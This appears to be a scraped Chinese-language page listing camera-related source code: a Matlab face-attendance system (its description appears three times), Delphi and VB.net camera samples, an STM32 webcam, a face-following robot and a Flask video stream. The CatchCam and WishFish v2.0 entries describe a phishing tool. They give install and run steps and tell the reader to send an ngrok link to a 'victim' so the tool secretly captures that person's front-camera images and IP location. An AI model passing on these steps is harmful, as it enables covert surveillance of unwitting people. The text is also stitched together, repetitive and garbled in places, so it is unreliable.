CatchCam 使用链接抓取前置摄像头

该系统为基于Matlab的人脸考勤系统。带有一个人机交互界面。输入全身照人脸图片进行人脸扫描，分割出单独的人脸进行预处理，包括灰度化尺度归一化提取人脸特征值和人脸库里面的数据进行对比。输出人脸识别的结果包括姓名，性别，学号等。并且有做考勤信息的统计，包括每个人打卡多少次，分别是什么时间，具有一键导出考勤表的功能。 GUI框架需要具备一定编程基础的人员学习，感谢支持。

WishFish v2.0 使用WishFish工具，您可以生成希望或自定义站点的不同网络钓鱼链接，这些链接可以捕获受害者的前置摄像头图片，还可以为您提供目标ip地址的锁定信息。 安装 $ pkg安装php $ pkg安装wget $ pkg install openssh $ git clone 用法 $ cd fish鱼 现在打开您的设备热点 $ ./wishfish.sh 有时servero服务器已关闭，因此请始终与ngrok进行即时链接，并等待其生成url，然后将其发送给受害者。 观看视频教程：-https: 注意：-如果受害者在chrome或android内置浏览器中打开此url，则它可以通过允许权限访问受害者摄像头并将快照发送给您。 捕获的图像将存储在捕获的文件夹中。 运行以下脚本将其复制到图片文件夹 $ chmod +x copy.sh $ ./copy.s

很好的DELPHI控制摄像头源码，有利于学习delphi操作摄像头，绝对可以运行

该系统为基于Matlab的人脸考勤系统。带有一个人机交互界面。输入全身照人脸图片进行人脸扫描，分割出单独的人脸进行预处理，包括灰度化尺度归一化提取人脸特征值和人脸库里面的数据进行对比。输出人脸识别的结果包括姓名，性别，学号等。并且有做考勤信息的统计，包括每个人打卡多少次，分别是什么时间，具有一键导出考勤表的功能。 GUI框架需要具备一定编程基础的人员学习，感谢支持。

机器人跟随距离估算 该机器人将跟随面部并根据使用计算机视觉的距离估计进行操作，而没有任何传感器需要单摄像头，后者可提供从机器人到PC /笔记本电脑的实时视频 机器人图像 流程图 所需硬件 名称 项目 底盘机器人 1个 直流电动机 4 Arduino的 2个 NRF24L01 2个 L298马达驱动器 1个 电源12伏 1个 RGB LED 1个可选 跳线 40+ 面包板一半（大小） 1或2 所需软件 Arduino IDE NRF库----> Python模块 Opencv的Opencv用于图像处理 皮塞里亚尔Pyserial允许我们在python（软件）和Arduino（硬件）之间进行通信 Iriun网络摄像头 它将为我们将智能手机转换为无线相机 下载适用于Windows Linux和Mac的软件： : 我的Iriun网络摄像头链接教程： : //youtu.be/

该系统为基于Matlab的人脸考勤系统。带有一个人机交互界面。输入全身照人脸图片进行人脸扫描，分割出单独的人脸进行预处理，包括灰度化尺度归一化提取人脸特征值和人脸库里面的数据进行对比。输出人脸识别的结果包括姓名，性别，学号等。并且有做考勤信息的统计，包括每个人打卡多少次，分别是什么时间，具有一键导出考勤表的功能。 GUI框架需要具备一定编程基础的人员学习，感谢支持。

VB.net 写二维码， 摄像头读二维码源码，非常好的几个例子源码。

本代码是基于stm32的网络摄像头开发，可以帮助初学者提供一些参考。

烧瓶socketio视频流 这是尝试使用 getUserMedia() 捕获视频流，使用 websockets 将其发送到服务器，然后在视频控件中播放。 它几乎不起作用，帧速率非常慢。 试试看： virtualenv env --no-site-packages source env/bin/activate pip install -r requirements.txt gunicorn --worker-class socketio.sgunicorn.GeventSocketIOWorker -b 0.0.0.0:4000 livestream:app 然后，指向